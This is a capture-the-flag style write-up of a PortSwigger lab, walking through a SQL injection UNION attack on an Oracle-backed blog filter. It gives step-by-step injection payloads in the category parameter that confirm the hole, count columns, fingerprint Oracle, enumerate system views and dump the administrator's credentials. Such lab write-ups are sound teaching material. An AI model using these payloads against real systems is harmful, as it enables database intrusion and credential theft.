SQL Injection UNION Attack — Listing Database Contents (Oracle)

Field	Value
Platform	PortSwigger Web Security Academy
Vulnerability	SQL Injection — UNION Attack
Difficulty	Practitioner
Injection Point	category URL parameter
Goal	Enumerate tables and columns via Oracle system views, retrieve credentials, log in as administrator

---

Phase 1 — Reconnaissance

The application displays blog posts filtered by category. Selecting Gifts changes the URL:

/filter?category=Gifts

The underlying query is likely:

SELECT title, body FROM post WHERE category = 'Gifts'

---

Phase 2 — Confirming Injection

Adding a single quote breaks the query and returns a 500 error:

/filter?category=Gifts'

SELECT title, body FROM post WHERE category = 'Gifts''

Injection confirmed.

---

Phase 3 — Enumerate Column Count

Using ORDER BY to determine the number of columns returned:

/filter?category=Gifts' ORDER BY 6 -- -

Error. Reducing to 2:

/filter?category=Gifts' ORDER BY 2 -- -

200 OK — the query returns exactly 2 columns.

---

Phase 4 — Test Column Data Types and DB Fingerprint

Testing both columns with string placeholders:

/filter?category=Gifts' UNION SELECT 'test','test' -- -

This failed. Adding FROM dual:

/filter?category=Gifts' UNION SELECT 'test','test' FROM dual -- -

The injected values appeared on the page. The fact that UNION SELECT 'test','test' -- - failed but FROM dual succeeded is the fingerprint — this is an Oracle database. Oracle requires a FROM clause in every SELECT, and DUAL is the built-in dummy table used when no real table is needed. Both columns accept strings.

---

Phase 5 — Enumerate the Database Schema

Oracle does not support information_schema. The equivalent system views are:

-- List all tables accessible to the current user
SELECT table_name FROM all_tables

-- List columns for a specific table
SELECT column_name FROM all_tab_columns WHERE table_name = 'TARGET_TABLE'

Step 1 — List All Tables

/filter?category=Gifts' UNION SELECT 'test',table_name FROM all_tables -- -

A table named USERS_PZFRLD was returned among the results.

Step 2 — List Columns in USERS_PZFRLD

/filter?category=Gifts' UNION SELECT 'test',column_name FROM all_tab_columns WHERE table_name='USERS_PZFRLD' -- -

Two credential columns returned: USERNAME_EGRWXE and PASSWORD_SIBETB.

---

Phase 6 — Retrieve All Credentials

/filter?category=Gifts' UNION SELECT USERNAME_EGRWXE,PASSWORD_SIBETB FROM USERS_PZFRLD -- -

The administrator username and password were returned and rendered on the page. Logging in with those credentials solved the lab.

---

Conclusion

1. A single quote caused a 500 error, confirming injectable input.
2. ORDER BY enumeration confirmed 2 columns.
3. UNION SELECT 'test','test' -- - failed; adding FROM dual succeeded — confirming Oracle as the backend.
4. all_tables returned the target table USERS_PZFRLD; all_tab_columns returned the credential columns USERNAME_EGRWXE and PASSWORD_SIBETB.
5. A direct UNION SELECT on USERS_PZFRLD returned all credentials, including the administrator's password.

---